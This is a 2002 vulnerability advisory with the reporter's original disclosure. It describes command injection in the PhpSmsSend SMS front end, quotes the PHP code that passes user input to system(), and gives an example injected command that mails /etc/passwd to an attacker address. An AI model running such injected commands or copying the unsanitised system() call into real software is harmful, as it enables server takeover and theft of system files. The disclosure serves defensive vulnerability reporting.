PhpSmsSend Front-End to SmsSend Allows Remote Users to Execute Arbitrary System Commands on the Server
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SecurityTracker Alert ID: 1003395 |
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SecurityTracker URL: http://securitytracker.com/id/1003395
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CVE Reference:
GENERIC-MAP-NOMATCH
(Links to External Site)
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Date: Jan 30 2002
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Impact:
Execution of arbitrary code via network, User access via network
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Version(s): 1.00
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Description:
A vulnerability was reported in the PhpSmsSend frontend to SmsSend. A user can execute arbitrary commands on the web server.
A remote user can supply an SMS message to the PhpSmsSend application to execute arbitrary shell commands on the web server. This is reportedly due to the following code from file.php :
$str = SMSSEND." ".SCRIPTSPATH.$script." $params -- -d 0 ".PROXY;
system($str,$res);
A remote user can enter an SMS message containing a backtick character ("`") so that the text following the backtick (and preceding the next backtick) will be executed by the system() call.
The command will be executed with the privileges of the web server.
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Impact:
A user can execute arbitrary system commands on the web server with the privileges of the web server.
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Solution:
No solution was available at the time of this entry.
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Vendor URL: zekiller.skytech.org/smssend.php (Links to External Site)
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Cause:
Input validation error
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Underlying OS:
Linux (Any), UNIX (Any)
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Message History:
This archive entry has one or more follow-up message(s) listed below.
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Source Message Contents
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Date: Tue, 29 Jan 2002 18:57:51 +0000 (GMT)
Subject: PhpSmsSend remote execute commands bug
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---[ PhpSmsSend remote execute commands bug
---[ About PhpSmsSend
PhpSmsSend is a frontend to the SmsSend application. It consists of a
.php file, from which you select one of the available scripts, and then
you can send an SMS wherever you want, all around the world.
PhpSmssend's website is http://zekiller.skytech.org/smssend.php
---[ Affected System
PhpSmsSystem Version 1.00
---[ Description
from file .php :
$str = SMSSEND." ".SCRIPTSPATH.$script." $params -- -d 0 ".PROXY;
system($str,$res);
if the sms messages contain a backtick "`" then inside of backtick will be
execute as a system command.
the result of the command will send via sms :), so the command output
should be less than 160 characters to send via sms, but if the command
using pipe (ex : cat /etc/passwd|mail evil@hacker.com) or redirection then
the messages status is successfully :)
---[ Greetz
my Guru GaniSalman, my friend OpsCrew, #indoSniffing and
#medanHacking (DalNet), Fate Research Labs (www.fatelabs.com), LUG STIKOM
(lug.stikom.edu), and the gauli.com owner
---
cheers,
IndraKusuma
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